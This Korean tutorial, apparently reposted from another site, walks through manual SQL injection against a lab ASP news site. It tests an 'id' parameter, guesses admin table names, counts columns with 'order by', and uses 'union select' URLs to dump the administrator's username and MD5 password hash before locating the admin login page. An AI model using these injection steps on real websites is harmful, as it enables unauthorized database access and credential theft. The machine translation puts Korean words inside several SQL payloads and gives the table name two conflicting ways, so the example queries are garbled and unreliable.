>  기사  >  운영 및 유지보수  >  수동 SQL 주입을 구현하는 방법

수동 SQL 주입을 구현하는 방법

WBOY
WBOY앞으로
2023-05-20 19:13:302622검색

SQL 주입은 ***이 데이터베이스를 공격하기 위해 사용하는 일반적인 방법 중 하나입니다. 핵심 아이디어는 *** 데이터베이스 데이터를 호출해야 하는 일반 URL 다음에 데이터베이스 쿼리 코드를 구성한 다음 반환된 내용을 기반으로 하는 것입니다. 결과를 얻어 원하는 데이터를 얻으세요. 다음으로 SQL 인젝션 취약점을 이용해 이미 구축된 *** 플랫폼을 공격해 웹사이트 관리자의 계정과 비밀번호를 알아내겠습니다. 대상 서버 IP 주소: 192.168.80.129, *** 호스트 IP 주소: 192.168.80.128.

(1) 주입점 찾기

웹페이지를 열고 URL에 주목하세요.

수동 SQL 주입을 구현하는 방법

삽입 지점은 "shownews.asp?id=7"이라는 명령 호출이 있는 "http://192.168.80.129/shownews.asp?id=7"과 같은 페이지여야 합니다. 즉, 처리를 위해 "shownews.asp" 페이지에 "id=7"을 전달합니다.

테스트를 위해 이 URL 뒤에 and 1=1 및 1=2를 추가할 수 있습니다.

http://192.168.80.129/shownews.asp?id=7 및 1=1인 경우에도 웹페이지는 정상적으로 표시될 수 있습니다.

http://192.168.80.129/shownews.asp?id=7 및 1=2인 경우 웹페이지가 정상적으로 표시되지 않습니다.

이는 "asp?"가 명령 매개변수로 추가한 "and 1=1"을 호출하여 필요한 정보를 얻기 위해 실행할 수 있음을 보여줍니다. 명령 매개변수를 호출할 수 있는 이와 같은 웹페이지를 주입 지점이라고 합니다.

(2) 테이블 이름 추측하기

***웹사이트를 수행하는 주요 목적*** 웹사이트 관리자의 사용자 이름과 비밀번호를 얻는 것입니다. 사용자 이름과 비밀번호는 모두 백그라운드의 테이블에 저장됩니다. 데이터베이스이므로 먼저 이 데이터 테이블의 이름이 무엇인지 추측해야 합니다.

가장 일반적으로 사용되는 테이블 이름은 admin 및 admin_user입니다. 삽입 지점 URL 뒤에 이러한 명령문을 추가하여 테이블 이름을 추측할 수 있습니다.

http://192.168.80.129/shownews.asp?id=7 및 ( 선택 count(*) from admin) > 0

"select count(*) from admin"은 admin 테이블에 있는 레코드 수를 계산하는 것을 의미하며, 이 명령문은 값을 얻습니다. 이 값을 0과 비교하면 결과가 정확하고 웹페이지가 정상적으로 표시됩니다. 반대로 admin 테이블이 없으면 "select count(*) from admin"은 아무 값도 얻지 못합니다. >0과 비교하면 결과가 성립되지 않으며 웹 페이지가 정상적으로 표시되지 않습니다.

웹 페이지가 정상적으로 표시되지 않으면 정상적으로 표시될 때까지 다른 테이블 이름을 시도할 수 있습니다:

http://192.168.80.129/shownews.asp?id=7 및 (admin_user에서 count(*) 선택) > ; 0

http://192.168.80.129/shownews.asp?id=7 및 (manage_user에서 count(*) 선택) > 0

이 웹사이트의 테이블 이름은 prepare_user입니다.

일반적인 테이블 이름은 주로 다음과 같습니다: admin sysadmin manger admin123 webadmin member prepare_user

참고: 테이블 이름을 추측할 수 없는 경우 Mingxiaozi와 같은 도구를 사용하여 도움을 받을 수도 있습니다.

수동 SQL 주입을 구현하는 방법

(3) 필드 수 추측하기

다음 단계는 이 테이블의 어느 필드에 사용자 이름과 비밀번호가 저장되어 있는지 추측하는 것입니다. 먼저 데이터 테이블에 몇 개의 필드가 있는지 알아야 합니다. .

여기서 "order by" 문이 사용되었습니다. "order by"의 원래 의미는 특정 필드를 기준으로 정렬한다는 의미입니다. "Order by 10"은 10번째 필드가 존재하는 경우 웹에서 정렬한다는 의미입니다. 페이지가 정상적으로 표시됩니다. 그렇지 않은 경우 웹페이지가 정상적으로 표시되지 않으면 10번째 필드가 존재하지 않는 것입니다.

http://192.168.80.129/shownews.asp?id=7 order by 11

이 방법을 사용하면 이 테이블에는 총 11개의 필드가 있음을 짐작할 수 있습니다.

(4) 필드 이름 추측

다음 단계는 여기서는 "union select" 공동 쿼리 문이 사용되는 사용자 이름과 비밀번호를 아는 것입니다.

http://192.168.80.129/shownews.asp?id=7 관리 사용자의 1,2,3,4,5,6,7,8,9,10,11 조합 선택

여기에 사용자 이름이 저장됩니다. 비밀번호 필드가 나타납니다.

수동 SQL 주입을 구현하는 방법

사용자 이름을 저장하는 필드를 일반적으로 사용자 이름이라고 하며, 비밀번호를 저장하는 필드를 일반적으로 비밀번호라고 합니다. 두 번째 및 세 번째 필드를 다음 두 이름으로 바꿉니다.

http://192.168.80.129/shownews .asp? id=7 Union select 1,username,password,4,5,6,7,8,9,10,11 from Manage_user

이때 사용자 이름과 비밀번호가 공개됩니다.

수동 SQL 주입을 구현하는 방법

(5) 백그라운드 관리 입구 추측하기

이 Southern Data 템플릿 버전 2.0에는 이미 "관리자 로그인"이라는 링크가 포함되어 있습니다. 요즘 대부분의 웹사이트는 이렇게 설정하지 않으므로 일반적으로 경험을 바탕으로 추측해야 합니다. 관리 입구는 일반적으로 admin이라는 웹사이트 하위 디렉터리에 다음 주소를 입력합니다. 자동으로 관리 포털이 표시됩니다.

수동 SQL 주입을 구현하는 방법

여기서 이전에 공개된 관리자 계정과 비밀번호로 로그인할 수 있지만 비밀번호 "3acdbb255b45d296"은 분명히 MD5로 암호화되어 있습니다.

위 내용은 수동 SQL 주입을 구현하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제